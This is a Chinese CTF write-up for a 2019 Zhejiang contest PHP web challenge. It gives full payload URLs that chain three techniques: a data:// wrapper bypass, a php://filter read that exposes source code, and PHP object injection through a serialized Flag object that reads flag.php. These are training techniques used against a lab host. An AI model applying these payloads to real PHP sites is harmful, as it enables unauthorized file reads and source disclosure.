逆转思维

发表于 2021-01-04 更新于 2021-02-05 分类于 Challenge ， 2019 ， 浙江省大学生网络与信息安全竞赛决赛 ， Web
Challenge | 2019 | 浙江省大学生网络与信息安全竞赛决赛 | Web | 逆转思维

点击此处获得更好的阅读体验

解题思路

```
1 file_get_contents($_GET(txt)) ==="welcome to the zjctf"
```

大概是这个，我们要让这个条件成立

我一开始想到的是远程文件包含，就是在我这边部署一个包含这个内容的文件，让题目环境访问我们开放的端口

后来发现因为是线下局域网，没办法远程文件包含

比赛后半段才在我以前拉取下来的wiki的docker里面找到一个data协议。

利用payload绕过`http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=`

题目有第二个参数file，大概是include()这个file，题目提示我们要包含`useless.php`

同时有一个判断是file参数不能传入flag，也就是我们不能直接包含flag.php

利用`php://filter`*协议读取这个useless.php，构造payload读取useless.php*

`http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php`

```
1  <?php
2  class Flag{//flag.php
3      public $file;
4      public function __tostring(){
5          if(isset($this->file)){
6              echo file_get_contents($this->file);
7              echo "<br>";
8          return ("HAHAHAHAHA");
9          }
10     }
11 }
12 ?>
```

最后一个参数是password，php代码里面有反序列化这个传入的值，所以只要让最后反序列化出来的file等于flag.php就好了。构造payload，然后就可以获得flag`view-source:http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}`

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/浙江省大学生网络与信息安全竞赛决赛/Web/i9aq12y44855jZVEp1DfxE.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Web # 2019 # 浙江省大学生网络与信息安全竞赛决赛
长安十二时辰
密码柜